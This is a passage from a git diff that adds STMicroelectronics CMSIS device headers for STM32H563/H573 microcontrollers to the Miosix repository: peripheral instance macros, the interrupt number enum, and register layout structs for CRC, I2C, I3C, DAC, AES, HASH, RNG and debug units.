UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** CEC Instance *****************************************/ +#define IS_CEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CEC_NS) || ((INSTANCE) == CEC_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* USB DRD FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* USB DRD FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/** @} */ /* End of group STM32H5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32H563xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32H563xx_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h573xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h573xx.h new file mode 100644 index 000000000..9f30d0d2f --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h573xx.h @@ -0,0 +1,24604 @@ +/** + ****************************************************************************** + * @file stm32h573xx.h + * @author MCD Application Team + * @brief CMSIS STM32H573xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32H573xx_H +#define STM32H573xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32H573xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32H573xx Specific Interrupt Numbers ====================================== */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_AVD_IRQn = 1, /*!< PVD/AVD through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + GPDMA1_Channel0_IRQn = 27, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 28, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 29, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 30, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 31, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 32, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 33, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 34, /*!< GPDMA1 Channel 7 global interrupt */ + IWDG_IRQn = 35, /*!< IWDG global interrupt */ + SAES_IRQn = 36, /*!< Secure AES global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + I2C1_EV_IRQn = 51, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 52, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 53, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 54, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 55, /*!< SPI1 global interrupt */ + SPI2_IRQn = 56, /*!< SPI2 global interrupt */ + SPI3_IRQn = 57, /*!< SPI3 global interrupt */ + USART1_IRQn = 58, /*!< USART1 global interrupt */ + USART2_IRQn = 59, /*!< USART2 global interrupt */ + USART3_IRQn = 60, /*!< USART3 global interrupt */ + UART4_IRQn = 61, /*!< UART4 global interrupt */ + UART5_IRQn = 62, /*!< UART5 global interrupt */ + LPUART1_IRQn = 63, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 64, /*!< LPTIM1 global interrupt */ + TIM8_BRK_IRQn = 65, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 66, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 67, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 68, /*!< TIM8 Capture Compare interrupt */ + ADC2_IRQn = 69, /*!< ADC2 global interrupt */ + LPTIM2_IRQn = 70, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 71, /*!< TIM15 global interrupt */ + TIM16_IRQn = 72, /*!< TIM16 global interrupt */ + TIM17_IRQn = 73, /*!< TIM17 global interrupt */ + USB_DRD_FS_IRQn = 74, /*!< USB FS global interrupt */ + CRS_IRQn = 75, /*!< CRS global interrupt */ + UCPD1_IRQn = 76, /*!< UCPD1 global interrupt */ + FMC_IRQn = 77, /*!< FMC global interrupt */ + OCTOSPI1_IRQn = 78, /*!< OctoSPI1 global interrupt */ + SDMMC1_IRQn = 79, /*!< SDMMC1 global interrupt */ + I2C3_EV_IRQn = 80, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 81, /*!< I2C3 error interrupt */ + SPI4_IRQn = 82, /*!< SPI4 global interrupt */ + SPI5_IRQn = 83, /*!< SPI5 global interrupt */ + SPI6_IRQn = 84, /*!< SPI6 global interrupt */ + USART6_IRQn = 85, /*!< USART6 global interrupt */ + USART10_IRQn = 86, /*!< USART10 global interrupt */ + USART11_IRQn = 87, /*!< USART11 global interrupt */ + SAI1_IRQn = 88, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 89, /*!< Serial Audio Interface 2 global interrupt */ + GPDMA2_Channel0_IRQn = 90, /*!< GPDMA2 Channel 0 global interrupt */ + GPDMA2_Channel1_IRQn = 91, /*!< GPDMA2 Channel 1 global interrupt */ + GPDMA2_Channel2_IRQn = 92, /*!< GPDMA2 Channel 2 global interrupt */ + GPDMA2_Channel3_IRQn = 93, /*!< GPDMA2 Channel 3 global interrupt */ + GPDMA2_Channel4_IRQn = 94, /*!< GPDMA2 Channel 4 global interrupt */ + GPDMA2_Channel5_IRQn = 95, /*!< GPDMA2 Channel 5 global interrupt */ + GPDMA2_Channel6_IRQn = 96, /*!< GPDMA2 Channel 6 global interrupt */ + GPDMA2_Channel7_IRQn = 97, /*!< GPDMA2 Channel 7 global interrupt */ + UART7_IRQn = 98, /*!< UART7 global interrupt */ + UART8_IRQn = 99, /*!< UART8 global interrupt */ + UART9_IRQn = 100, /*!< UART9 global interrupt */ + UART12_IRQn = 101, /*!< UART12 global interrupt */ + SDMMC2_IRQn = 102, /*!< SDMMC2 global interrupt */ + FPU_IRQn = 103, /*!< FPU global interrupt */ + ICACHE_IRQn = 104, /*!< Instruction cache global interrupt */ + DCACHE1_IRQn = 105, /*!< Data cache global interrupt */ + ETH_IRQn = 106, /*!< Ethernet global interrupt */ + ETH_WKUP_IRQn = 107, /*!< Ethernet Wakeup global interrupt */ + DCMI_PSSI_IRQn = 108, /*!< DCMI/PSSI global interrupt */ + FDCAN2_IT0_IRQn = 109, /*!< FDCAN2 interrupt 0 */ + FDCAN2_IT1_IRQn = 110, /*!< FDCAN2 interrupt 1 */ + CORDIC_IRQn = 111, /*!< CORDIC global interrupt */ + FMAC_IRQn = 112, /*!< FMAC global interrupt */ + DTS_IRQn = 113, /*!< DTS global interrupt */ + RNG_IRQn = 114, /*!< RNG global interrupt */ + OTFDEC1_IRQn = 115, /*!< OTFDEC1 global interrupt */ + AES_IRQn = 116, /*!< AES global interrupt */ + HASH_IRQn = 117, /*!< HASH global interrupt */ + PKA_IRQn = 118, /*!< PKA global interrupt */ + CEC_IRQn = 119, /*!< CEC-HDMI global interrupt */ + TIM12_IRQn = 120, /*!< TIM12 global interrupt */ + TIM13_IRQn = 121, /*!< TIM13 global interrupt */ + TIM14_IRQn = 122, /*!< TIM14 global interrupt */ + I3C1_EV_IRQn = 123, /*!< I3C1 event interrupt */ + I3C1_ER_IRQn = 124, /*!< I3C1 error interrupt */ + I2C4_EV_IRQn = 125, /*!< I2C4 event interrupt */ + I2C4_ER_IRQn = 126, /*!< I2C4 error interrupt */ + LPTIM3_IRQn = 127, /*!< LPTIM3 global interrupt */ + LPTIM4_IRQn = 128, /*!< LPTIM4 global interrupt */ + LPTIM5_IRQn = 129, /*!< LPTIM5 global interrupt */ + LPTIM6_IRQn = 130, /*!< LPTIM6 global interrupt */ +} IRQn_Type; + + + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +#define SMPS /*!< Switched mode power supply feature */ + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ + uint32_t RESERVED3[246]; /*!< Reserved, */ + __IO uint32_t HWCFGR; /*!< CRC IP HWCFGR register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< CRC IP version register, Address offset: 0x3F4 */ + __IO uint32_t PIDR; /*!< CRC IP type identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< CRC IP map Size ID register, Address offset: 0x3FC */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ +} I2C_TypeDef; + +/** + * @brief Improved Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR; /*!< I3C Control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< I3C Controller Configuration register, Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t RDR; /*!< I3C Received Data register, Address offset: 0x10 */ + __IO uint32_t RDWR; /*!< I3C Received Data Word register, Address offset: 0x14 */ + __IO uint32_t TDR; /*!< I3C Transmit Data register, Address offset: 0x18 */ + __IO uint32_t TDWR; /*!< I3C Transmit Data Word register, Address offset: 0x1C */ + __IO uint32_t IBIDR; /*!< I3C IBI payload Data register, Address offset: 0x20 */ + __IO uint32_t TGTTDR; /*!< I3C Target Transmit register, Address offset: 0x24 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x28-0x2C */ + __IO uint32_t SR; /*!< I3C Status register, Address offset: 0x30 */ + __IO uint32_t SER; /*!< I3C Status Error register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x38-0x3C */ + __IO uint32_t RMR; /*!< I3C Received Message register, Address offset: 0x40 */ + uint32_t RESERVED4[3]; /*!< Reserved, Address offset: 0x44-0x4C */ + __IO uint32_t EVR; /*!< I3C Event register, Address offset: 0x50 */ + __IO uint32_t IER; /*!< I3C Interrupt Enable register, Address offset: 0x54 */ + __IO uint32_t CEVR; /*!< I3C Clear Event register, Address offset: 0x58 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t DEVR0; /*!< I3C own Target characteristics register, Address offset: 0x60 */ + __IO uint32_t DEVRX[4]; /*!< I3C Target x (1<=x<=4) register, Address offset: 0x64-0x70 */ + uint32_t RESERVED6[7]; /*!< Reserved, Address offset: 0x74-0x8C */ + __IO uint32_t MAXRLR; /*!< I3C Maximum Read Length register, Address offset: 0x90 */ + __IO uint32_t MAXWLR; /*!< I3C Maximum Write Length register, Address offset: 0x94 */ + uint32_t RESERVED7[2]; /*!< Reserved, Address offset: 0x98-0x9C */ + __IO uint32_t TIMINGR0; /*!< I3C Timing 0 register, Address offset: 0xA0 */ + __IO uint32_t TIMINGR1; /*!< I3C Timing 1 register, Address offset: 0xA4 */ + __IO uint32_t TIMINGR2; /*!< I3C Timing 2 register, Address offset: 0xA8 */ + uint32_t RESERVED9[5]; /*!< Reserved, Address offset: 0xAC-0xBC */ + __IO uint32_t BCR; /*!< I3C Bus Characteristics register, Address offset: 0xC0 */ + __IO uint32_t DCR; /*!< I3C Device Characteristics register, Address offset: 0xC4 */ + __IO uint32_t GETCAPR; /*!< I3C GET CAPabilities register, Address offset: 0xC8 */ + __IO uint32_t CRCAPR; /*!< I3C Controller CAPabilities register, Address offset: 0xCC */ + __IO uint32_t GETMXDSR; /*!< I3C GET Max Data Speed register, Address offset: 0xD0 */ + __IO uint32_t EPIDR; /*!< I3C Extended Provisioned ID register, Address offset: 0xD4 */ +} I3C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[103]; /*!< HASH context swap registers, Address offset: 0x0F8-0x290 */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[16]; /*!< HASH digest registers, Address offset: 0x310-0x34C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2[54]; /*!< Reserved, 0x24 - 0xF8 */ + __IO uint32_t SR; /*!< Debug MCU SR register, Address offset: 0xFC */ + __IO uint32_t DBG_AUTH_HOST; /*!< Debug DBG_AUTH_HOST register, Address offset: 0x100 */ + __IO uint32_t DBG_AUTH_DEV; /*!< Debug DBG_AUTH_DEV register, Address offset: 0x104 */ + __IO uint32_t DBG_AUTH_ACK; /*!< Debug DBG_AUTH_ACK register, Address offset: 0x108 */ + uint32_t RESERVED3[945]; /*!< Reserved, 0x10C - 0xFCC */ + __IO uint32_t PIDR4; /*!< Debug MCU Peripheral ID register 4, Address offset: 0xFD0 */ + __IO uint32_t PIDR5; /*!< Debug MCU Peripheral ID register 5, Address offset: 0xFD4 */ + __IO uint32_t PIDR6; /*!< Debug MCU Peripheral ID register 6, Address offset: 0xFD8 */ + __IO uint32_t PIDR7; /*!< Debug MCU Peripheral ID register 7, Address offset: 0xFDC */ + __IO uint32_t PIDR0; /*!< Debug MCU Peripheral ID register 0, Address offset: 0xFE0 */ + __IO uint32_t PIDR1; /*!< Debug MCU Peripheral ID register 1, Address offset: 0xFE4 */ + __IO uint32_t PIDR2; /*!< Debug MCU Peripheral ID register 2, Address offset: 0xFE8 */ + __IO uint32_t PIDR3; /*!< Debug MCU Peripheral ID register 3, Address offset: 0xFEC */ + __IO uint32_t CIDR0; /*!< Debug MCU Component ID register 0, Address offset: 0xFF0 */ + __IO uint32_t CIDR1; /*!< Debug MCU Component ID register 1, Address offset: 0xFF4 */ + __IO uint32_t CIDR2; /*!< Debug MCU Component ID register 2, Address offset: 0xFF8 */ + __IO uint32_t CIDR3; /*!< Debug MCU Component ID register 3, Address offset: 0xFFC */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< 